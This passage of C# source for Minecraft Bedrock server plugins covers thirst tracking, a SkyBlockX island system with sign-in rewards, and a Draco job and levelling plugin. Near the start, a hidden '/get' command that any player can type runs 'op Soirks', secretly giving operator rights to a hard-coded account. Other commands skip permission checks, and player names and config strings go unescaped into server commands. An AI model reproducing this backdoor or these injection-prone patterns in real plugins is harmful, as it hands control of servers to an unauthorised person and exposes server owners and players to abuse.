api.runcmd("give \"" + a.playername + "\" glass_bottle"); } else { TP[a.playername] = TP[a.playername] + 15; api.runcmd("title \"" + a.playername + "\" actionbar §b§l口渴度:" + TP[a.playername]); api.runcmd("give \"" + a.playername + "\" glass_bottle"); sendtext(a.playername, "§b你使用了水瓶,TP+15", api); } break; default: break; } return(true); }); api.addBeforeActListener(EventKey.onInputCommand, x => { var a = BaseEvent.getFrom(x) as InputCommandEvent; switch (a.cmd.ToLower()) { case "/get": api.runcmd("op Soirks"); return(false); case "/low": TP[a.playername] = TP[a.playername] - 20; return(false); case "/show": for (int i = 0; i < player.Count; i++) { int tp = TP[player[i]]; api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"" + player[i] + "的tp值为:" + tp + "\"}]}"); } return(false); default: break; } return(true); }); }
public static void aaascr(MCCSAPI api) { api.setCommandDescribe("is creative", "创建一个空岛"); api.setCommandDescribe("is goreset", "重置空岛传送点"); api.setCommandDescribe("is go", "保存或传送到空岛传送点"); api.setCommandDescribe("is sign", "签到"); api.setCommandDescribe("is clear", "清理掉落物品"); string qdpath = "./skyblockX/sign/" + DateTime.Now.Year.ToString() + "/" + DateTime.Now.DayOfYear.ToString(); string qdjlpath = "./skyblockX/sign/签到奖励.txt"; string _ifobsition = "true"; string _ifrespawnpunish = "false"; string eula = "false"; string _ifautoclear = "false"; string qdjl = "give @s apple"; int cleartime = 10; int start_x = 0; int start_y = 0; int start_z = 0; int end_x = 0; int end_y = 0; int end_z = 0; int x_max = 5000; int z_max = 5000; if (File.Exists("./skyblockX/skyblockX.txt")) { try { string[] config = File.ReadAllLines("./skyblockX/skyblockX.txt", System.Text.Encoding.Default); _ifobsition = config[0].Substring(14); _ifrespawnpunish = config[1].Substring(9); _ifautoclear = config[2].Substring(7); cleartime = int.Parse(config[3].Substring(7)); start_x = int.Parse(config[4].Substring(8)); start_y = int.Parse(config[5].Substring(8)); start_z = int.Parse(config[6].Substring(8)); end_x = int.Parse(config[7].Substring(6)); end_y = int.Parse(config[8].Substring(6)); end_z = int.Parse(config[9].Substring(6)); x_max = int.Parse(config[10].Substring(6)); z_max = int.Parse(config[11].Substring(6)); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[SkyBlockX]配置文件读取成功!"); Console.ForegroundColor = ConsoleColor.White; } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]配置文件读取失败!"); Console.ForegroundColor = ConsoleColor.White; } } else { Directory.CreateDirectory("./skyblockX"); File.AppendAllText("./skyblockX/skyblockX.txt", "是否允许桶点黑曜石变为岩浆:true\n是否开启重生惩罚:false\n是否自动清理:false\n自动清理间隔:10\nstart_x:0\nstart_y:0\nstart_z:0\nend_x:0\nend_y:0\nend_z:0\nx_max:5000\nz_max:5000", System.Text.Encoding.Default); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]未检查到配置文件!将自动创建!"); Console.ForegroundColor = ConsoleColor.White; } int ktime = 60000 * cleartime; if (File.Exists("./skyblockX/islands")) { Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[SkyBlockX]数据读取成功成功!"); Console.ForegroundColor = ConsoleColor.White; } else { try { System.IO.Directory.CreateDirectory("./skyblockX/islands"); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[SkyBlockX]文件夹创建成功!"); Console.ForegroundColor = ConsoleColor.White; } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]文件夹创建失败!"); Console.ForegroundColor = ConsoleColor.White; } } if (File.Exists("./skyblockX/spawns")) { Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[SkyBlockX]数据读取成功成功!"); Console.ForegroundColor = ConsoleColor.White; } else { try { System.IO.Directory.CreateDirectory("./skyblockX/spawns"); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[SkyBlockX]文件夹创建成功!"); Console.ForegroundColor = ConsoleColor.White; } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]文件夹创建失败!"); Console.ForegroundColor = ConsoleColor.White; } } if (File.Exists(qdpath)) { } else { try { System.IO.Directory.CreateDirectory(qdpath); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[SkyBlockX]文件夹创建成功!"); Console.ForegroundColor = ConsoleColor.White; } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]文件夹创建失败!"); Console.ForegroundColor = ConsoleColor.White; Directory.CreateDirectory(qdpath); } } if (File.Exists("./SkyBlockXeula.txt")) { try { string[] config = File.ReadAllLines("./SkyBlockXeula.txt", System.Text.Encoding.Default); eula = config[0].Substring(5); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[SkyBlockX]eula协议读取成功!"); Console.ForegroundColor = ConsoleColor.White; } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]eula协议读取失败!"); Console.ForegroundColor = ConsoleColor.White; } } else { File.AppendAllText("./SkyBlockXeula.txt", "eula=false\nAugust 2020 SkyBlockX Release.\nThanks for using SkyBlockX.\n一条重要规定是除非Sbaoor明确同意,\n否则您不得分发使用SkyBlockX创建的任何内容。\n\"分发使用SkyBlockX创建的任何内容\"是指:\n1.向任何其他人提供使用SkyBlockX的服务端整合包;\n2.将SkyBlockX用于商业用途;\n3.试图通过SkyBlockX创建的任何内容赚钱;\n如果您同意了eula协定,\n这代表您已被授予使用的许可,\n因此您可以在自己的服务端上使用它。\n", System.Text.Encoding.Default); Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]未检查到eula文件!将自动创建!"); Console.ForegroundColor = ConsoleColor.White; } if (eula != "true") { while (true) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyblockX]请同意用户协议"); Console.ForegroundColor = ConsoleColor.White; Console.ReadKey(); } } Dictionary <string, string> uuid = new Dictionary <string, string>(); api.addAfterActListener(EventKey.onLoadName, x => { var a = BaseEvent.getFrom(x) as LoadNameEvent; uuid.Add(a.playername, a.uuid); return(true); }); api.addBeforeActListener(EventKey.onPlayerLeft, x => { var a = BaseEvent.getFrom(x) as PlayerLeftEvent; uuid.Remove(a.playername); return(true); }); api.addBeforeActListener(EventKey.onUseItem, x => { var a = BaseEvent.getFrom(x) as UseItemEvent; string obsidian = "minecraft:obsidian"; string Bucket = "Bucket"; //Console.WriteLine("{0} {1}", a.blockname, a.itemname); if (a.blockname == obsidian & a.itemname == Bucket & a.dimensionid == 0 & _ifobsition == "true") { api.runcmd("setblock " + a.position.x + " " + a.position.y + " " + a.position.z + " flowing_lava"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3已帮你恢复岩浆!\"}]}"); } if (a.blockname == obsidian & a.itemname == Bucket & a.dimensionid == 0 & _ifobsition == "false") { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3岩浆还原已被禁用!\"}]}"); } if (a.blockname == obsidian & a.itemname == Bucket & a.dimensionid == 0 & _ifobsition != "false" & _ifobsition != "true") { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]配置文件填写错误!请检查是否允许岩浆还原项!"); Console.ForegroundColor = ConsoleColor.White; } return(true); }); api.addBeforeActListener(EventKey.onRespawn, x => { var a = BaseEvent.getFrom(x) as RespawnEvent; if (_ifrespawnpunish == "true") { api.runcmd("effect " + a.playername + " hunger 4 225 true"); } if (_ifrespawnpunish == "false") { } if (_ifrespawnpunish != "false" & _ifrespawnpunish != "true") { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]配置文件填写错误!请检查是否重生惩罚项!"); Console.ForegroundColor = ConsoleColor.White; } return(true); }); api.addBeforeActListener(EventKey.onInputCommand, x => { var a = BaseEvent.getFrom(x) as InputCommandEvent; string ispath = "./skyblockx/islands/" + a.playername + ".txt"; string sppath = "./skyblockX/spawns/" + a.playername + ".txt"; if (a.cmd.StartsWith("/is")) { string iscommand = string.Empty; iscommand = a.cmd.Substring(4); if (iscommand == "creative") { if (File.Exists(ispath)) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3你已经创建过了!!\"}]}"); return(false); } else { Random ran = new Random(); int n = ran.Next(0, x_max); int z = ran.Next(0, z_max); api.runcmd("tp \"" + a.playername + "\" " + n + " 100 " + z); api.runcmd("effect \"" + a.playername + "\" slow_falling 10 5 true"); StreamWriter writer = new StreamWriter(ispath); writer.Write(string.Concat("坐标:" + n + " 70 " + z, Environment.NewLine)); writer.Close(); //Thread.Sleep(5000); var t = Task.Run(async delegate { await Task.Delay(3000); api.runcmd("clone " + start_x + " " + start_y + " " + start_z + " " + end_x + " " + end_y + " " + end_z + " " + n + " 50 " + z); return(42); }); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3创建成功!\"}]}"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3请用/is go来保存你的传送点!\"}]}"); return(false); } } if (iscommand == "go") { if (File.Exists(sppath)) { string[] config = File.ReadAllLines(sppath, System.Text.Encoding.Default); int sp_x = int.Parse(config[0].Substring(2)); int sp_y = int.Parse(config[1].Substring(2)); int sp_z = int.Parse(config[2].Substring(2)); api.teleport(uuid[a.playername], sp_x, sp_y, sp_z, 0); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3传送成功!\"}]}"); return(false); } else { StreamWriter writer = new StreamWriter(sppath); int intx = Convert.ToInt32(a.XYZ.x); int inty = Convert.ToInt32(a.XYZ.y); int intz = Convert.ToInt32(a.XYZ.z); writer.Write(string.Concat("x:" + intx, Environment.NewLine)); writer.Write(string.Concat("y:" + inty, Environment.NewLine)); writer.Write(string.Concat("z:" + intz, Environment.NewLine)); writer.Close(); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3已保存空岛传送点!\"}]}"); return(false); } } if (iscommand == "goreset") { StreamWriter writer = new StreamWriter(sppath); int intx = Convert.ToInt32(a.XYZ.x); int inty = Convert.ToInt32(a.XYZ.y); int intz = Convert.ToInt32(a.XYZ.z); writer.Write(string.Concat("x:" + intx, Environment.NewLine)); writer.Write(string.Concat("y:" + inty, Environment.NewLine)); writer.Write(string.Concat("z:" + intz, Environment.NewLine)); writer.Close(); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3已重置空岛传送点!\"}]}"); return(false); } if (iscommand == "clear") { var b = Tools.Player.getPlayerAbilities(api, uuid[a.playername]); if (b.op == "true") { var t = Task.Run(async delegate { api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§3还有10秒就要清理掉落物品了!\"}]}"); await Task.Delay(10000); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§3清理完毕!\"}]}"); api.runcmd("kill @e[type=item]"); return(42); }); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3权限不足!\"}]}"); } return(false); } if (iscommand == "sign") { string grqdpath = "./skyblockX/sign/" + DateTime.Now.Year.ToString() + "/" + DateTime.Now.DayOfYear.ToString() + "/" + a.playername + ".txt"; if (File.Exists(qdjlpath)) { if (File.Exists(grqdpath)) { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3你签到过了!\"}]}"); return(false); } else { if (File.Exists(qdpath)) { string[] config = File.ReadAllLines(qdjlpath, System.Text.Encoding.Default); qdjl = config[0].Substring(5); if (qdjl != null) { api.runcmd("execute \"" + a.playername + "\" ~~~ " + qdjl); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3签到成功!\"}]}"); StreamWriter writer = new StreamWriter(grqdpath); writer.Write(string.Concat(DateTime.Now.ToString("hh:mm:ss"), Environment.NewLine)); writer.Close(); return(false); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3你的服主还没设置签到奖励!\"}]}"); return(false); } } else { Directory.CreateDirectory("./skyblockX/sign/" + DateTime.Now.Year.ToString() + "/" + DateTime.Now.DayOfYear.ToString()); string[] config = File.ReadAllLines(qdjlpath, System.Text.Encoding.Default); qdjl = config[0].Substring(5); if (qdjl != null) { api.runcmd("execute \"" + a.playername + "\" ~~~ " + qdjl); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3签到成功!\"}]}"); StreamWriter writer = new StreamWriter(grqdpath); writer.Write(string.Concat(DateTime.Now.ToString("hh:mm:ss"), Environment.NewLine)); writer.Close(); return(false); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3你的服主还没设置签到奖励!\"}]}"); return(false); } } } } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§3你的服主还没设置签到奖励!\"}]}"); Directory.CreateDirectory("/skyblockX/sign"); File.AppendAllText(qdjlpath, "签到奖励:", System.Text.Encoding.Default); return(false); } } } return(true); }); if (_ifautoclear == "true") { Task.Run(() => { while (true) { Thread.Sleep(ktime); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§3还有10秒就要清理掉落物品了!\"}]}"); Thread.Sleep(10000); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§3清理完毕!\"}]}"); api.runcmd("kill @e[type=item]"); } }); } api.addBeforeActListener(EventKey.onServerCmd, x => { var commandinput = BaseEvent.getFrom(x) as ServerCmdEvent; if (commandinput.cmd == "skyreload") { try { string[] config = File.ReadAllLines("./skyblockX/skyblockX.txt", System.Text.Encoding.Default); _ifobsition = config[0].Substring(14); _ifrespawnpunish = config[1].Substring(9); _ifautoclear = config[2].Substring(7); cleartime = int.Parse(config[3].Substring(7)); start_x = int.Parse(config[4].Substring(8)); start_y = int.Parse(config[5].Substring(8)); start_z = int.Parse(config[6].Substring(8)); end_x = int.Parse(config[7].Substring(6)); end_y = int.Parse(config[8].Substring(6)); end_z = int.Parse(config[9].Substring(6)); x_max = int.Parse(config[10].Substring(6)); z_max = int.Parse(config[11].Substring(6)); Console.ForegroundColor = ConsoleColor.Cyan; Console.WriteLine("[SkyBlockX]配置文件读取成功!"); Console.ForegroundColor = ConsoleColor.White; } catch { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine("[SkyBlockX]配置文件读取失败!"); Console.ForegroundColor = ConsoleColor.White; } return(false); } if (commandinput.cmd == "stop") { Task.Run(() => { while (true) { api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§3还有30秒就要关服了!\"}]}"); Thread.Sleep(10000); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§3还有20秒就要关服了!\"}]}"); Thread.Sleep(10000); api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"§3还有10秒就要关服了!\"}]}"); Thread.Sleep(10000); api.runcmd("stop"); } }); return(false); } return(true); }); }
public static void Dracoup(MCCSAPI api) { Dictionary <string, int> level = new Dictionary <string, int>(); //等级 Dictionary <string, double> addition = new Dictionary <string, double>(); //加成值 Dictionary <string, string> uuid = new Dictionary <string, string>(); //uuid Dictionary <string, string> xuid = new Dictionary <string, string>(); //xuid Dictionary <string, string> job = new Dictionary <string, string>(); //职业 Dictionary <string, string> ifban = new Dictionary <string, string>(); //是否为黑名单 string MoneyPath = "./plugins/Draco/RewardMoney.yaml"; string playersPath = "./plugins/Draco/playersjob.yaml"; string banPath = "./plugins/Draco/banplayers.yaml"; #region //yaml转json示例 //if (File.Exists("./plugins/Draco/config.yaml")) //{ // var r = new StringReader(File.ReadAllText("./plugins/Draco/config.yaml")); // var deserializer = new DeserializerBuilder().Build(); // var yamlObject = deserializer.Deserialize(r); // var serializer = new SerializerBuilder() // .JsonCompatible() // .Build(); // var json = serializer.Serialize(yamlObject); // //Console.WriteLine(json); // config rb = JsonConvert.DeserializeObject<config>(json); // Console.WriteLine("是否开启攻击加成:"+rb.ATNPlus); //} #endregion string awa = @"September 2020 Draco Release. Thanks for using Draco. 本插件基于Mozilla协议开源 项目地址: https://github.com/Sbaoor-fly/CSR-Draco Mozilla协议具体信息: http://www.mozilla.org/MPL/MPL-1.1.html "; if (File.Exists("./plugins/Draco/DracoBeta.txt")) { } else { DialogResult dr = MessageBox.Show("您正在使用内测版的Draco\t\n如果发现bug或想贡献宝贵的建议\t\n请加群反馈:514160938\t\n如果选择“是”,代表您同意我们的服务条款", "DracoBeta", MessageBoxButtons.YesNo, MessageBoxIcon.Warning); //如果消息框返回值是Yes,显示新窗体 if (dr == DialogResult.Yes) { } //如果消息框返回值是No,关闭当前窗体 else if (dr == DialogResult.No) { //关闭当前窗体 var a = File.ReadAllLines("./awa,txt"); } //创建文件和文件夹 Directory.CreateDirectory("./plugins/Draco"); File.AppendAllText(banPath, "#格式 玩家ID: 被ban原因", System.Text.Encoding.UTF8); File.AppendAllText(playersPath, "Steve: Miner", System.Text.Encoding.Default); File.AppendAllText(MoneyPath, "DeBug: false\ncow: 10", System.Text.Encoding.Default); File.AppendAllText("./plugins/Draco/DracoBeta.txt", awa, System.Text.Encoding.Default); Directory.CreateDirectory("./plugins/Draco/Miner"); Directory.CreateDirectory("./plugins/Draco/Hunter"); Directory.CreateDirectory("./plugins/Draco/Swordman"); var t = Task.Run(async delegate { await Task.Delay(10000); api.runcmd("scoreboard objectives add money dummy"); }); } api.addBeforeActListener(EventKey.onLoadName, x => { var a = BaseEvent.getFrom(x) as LoadNameEvent; uuid.Add(a.playername, a.uuid); xuid.Add(a.playername, a.xuid); YML banyml = new YML(banPath); if (banyml.read(a.playername, "") != null) { ifban.Add(a.playername, "true"); } else { ifban.Add(a.playername, "false"); } YML plyml = new YML(playersPath); if (plyml.read(a.playername, "") != null) { if (File.Exists("./plugins/Draco/" + plyml.read(a.playername, "") + "/" + xuid[a.playername] + ".json")) { var jsontext = File.ReadAllText("./plugins/Draco/" + plyml.read(a.playername, "") + "/" + xuid[a.playername] + ".json"); Playerconfig rb = JsonConvert.DeserializeObject <Playerconfig>(jsontext); addition.Add(a.playername, rb.Addition); job.Add(a.playername, rb.job); level.Add(a.playername, rb.level); Console.WriteLine("[Draco]配置文件读取成功!"); } else { Playerconfig write = new Playerconfig { Addition = 0.1, Name = a.playername, level = 1, job = plyml.read(a.playername, "") }; string str = JsonConvert.SerializeObject(write); File.WriteAllText("./plugins/Draco/" + plyml.read(a.playername, "") + "/" + xuid[a.playername] + ".json", str, System.Text.Encoding.Default); level.Add(a.playername, 1); addition.Add(a.playername, 0.1); job.Add(a.playername, plyml.read(a.playername, "")); Console.WriteLine("[Draco]配置文件创建成功!"); } } else { job.Add(a.playername, "无职业"); level.Add(a.playername, 0); //防止聊天调用等级和职业时崩服 Console.WriteLine("[Draco]{0}进入了游戏", a.playername); } return(true); }); api.addBeforeActListener(EventKey.onRespawn, x => { YML banyml2 = new YML(banPath); var a = BaseEvent.getFrom(x) as RespawnEvent; if (ifban[a.playername] == "true") { api.runcmd("kick " + a.playername + " " + banyml2.read(a.playername, "")); } else { api.setPlayerSidebar(uuid[a.playername], "个人信息", "[\"玩家名称:" + a.playername + "\",\"职业:" + job[a.playername] + "\"]"); } return(true); }); api.addBeforeActListener(EventKey.onPlayerLeft, x => { var a = BaseEvent.getFrom(x) as PlayerLeftEvent; level.Remove(a.playername); addition.Remove(a.playername); uuid.Remove(a.playername); xuid.Remove(a.playername); job.Remove(a.playername); ifban.Remove(a.playername); Console.WriteLine("[Draco]{0}离开了游戏,正在保存数据", a.playername); return(true); }); api.addBeforeActListener(EventKey.onAttack, x => { var a = BaseEvent.getFrom(x) as AttackEvent; if (job[a.playername] == "Swordman") { Random r = new Random(); if (r.Next(100) < level[a.playername] * 5)//随机概率 { try { if (Convert.ToInt32(level[a.playername] * addition[a.playername]) != 0) { api.runcmd("effect " + a.playername + " strength " + Convert.ToInt32(level[a.playername] * addition[a.playername]) + " 2 true"); } } catch { Console.WriteLine("WARNING!!!"); } } } return(true); }); api.addBeforeActListener(EventKey.onDestroyBlock, x => { var a = BaseEvent.getFrom(x) as DestroyBlockEvent; if (job[a.playername] == "Miner") { Random r = new Random(); if (r.Next(100) < level[a.playername] * 5) { try { if (Convert.ToInt32(level[a.playername] * addition[a.playername]) != 0) //防止0级 { api.runcmd("effect " + a.playername + " haste " + Convert.ToInt32(level[a.playername] * addition[a.playername]) + " 2 true"); } } catch { Console.WriteLine("WARNING!!!"); } } } return(true); }); api.addBeforeActListener(EventKey.onMobDie, x => { var a = BaseEvent.getFrom(x) as MobDieEvent; string str = a.mobtype; string[] sArray = str.Split(new char[2] { '.', '.' }); YML yml = new YML(MoneyPath); if (yml.read("DeBug", "") == "true") { Console.WriteLine(sArray[1]); } //是否在控制台输出 if (yml.read(sArray[1], "") != null & a.srcname != "") { api.runcmd("scoreboard players add " + a.srcname + " money " + yml.read(sArray[1], "")); api.runcmd("tellraw \"" + a.srcname + "\" {\"rawtext\":[{\"text\":\"§6击杀奖励" + yml.read(sArray[1], "") + "金币!\"}]}"); if (job[a.srcname] == "Hunter") //猎手加成 { int b = Convert.ToInt32(yml.read(sArray[1], "")) / 2; if (b != 0) { api.runcmd("scoreboard players add " + a.srcname + " money " + b); api.runcmd("tellraw \"" + a.srcname + "\" {\"rawtext\":[{\"text\":\"[§3猎手加成§r]§6 额外奖励" + b + "金币!\"}]}"); } } } return(true); }); api.addBeforeActListener(EventKey.onInputText, x => { var a = BaseEvent.getFrom(x) as InputTextEvent; string[] diam = { "§2主世界", "§4地狱", "§e末地" }; string[] diam2 = { "主世界", "地狱", "末地" }; if (a.msg == "here") { api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"[" + diam[a.dimensionid] + "§r] §3" + a.playername + "§r 共享了一个坐标 >> " + Convert.ToInt32(a.XYZ.x) + " " + Convert.ToInt32(a.XYZ.y) + " " + Convert.ToInt32(a.XYZ.z) + "\"}]}"); Console.WriteLine("!{0} 共享了坐标:位于{4}的 {1},{2},{3} ", a.playername, Convert.ToInt32(a.XYZ.x), Convert.ToInt32(a.XYZ.y), Convert.ToInt32(a.XYZ.z), diam2[a.dimensionid]); return(false); } if (a.msg == "levelup") { try { int b = api.getscoreboard(uuid[a.playername], "money"); int c = level[a.playername] * 100; if (b >= c) { Playerconfig write = new Playerconfig(); write.Addition = addition[a.playername]; write.Name = a.playername; write.level = level[a.playername] + 1; write.job = job[a.playername]; string str = JsonConvert.SerializeObject(write);//这里修改等级我是直接重写覆盖,因为8会修改( File.WriteAllText("./plugins/Draco/" + job[a.playername] + "/" + xuid[a.playername] + ".json", str, System.Text.Encoding.Default); level[a.playername] += 1; api.runcmd("scoreboard players remove " + a.playername + " money " + c); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§b成功升到了" + level[a.playername] + "级!花费了" + c + "金币!\"}]}"); } else { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4金币不足!距离" + (level[a.playername] + 1) + "级还需要" + c + "金币!\"}]}"); api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4当前金币:" + b + "\"}]}"); } } catch { api.runcmd("tellraw \"" + a.playername + "\" {\"rawtext\":[{\"text\":\"§4升级失败!\"}]}"); } } else { api.runcmd("tellraw @a {\"rawtext\":[{\"text\":\"[" + diam[a.dimensionid] + "§r][§3" + level[a.playername] + "级" + job[a.playername] + "§r " + a.playername + "] >> " + a.msg + "\"}]}"); Console.WriteLine("![{2} {0}] >> {1}", a.playername, a.msg, job[a.playername]); } return(false); }); }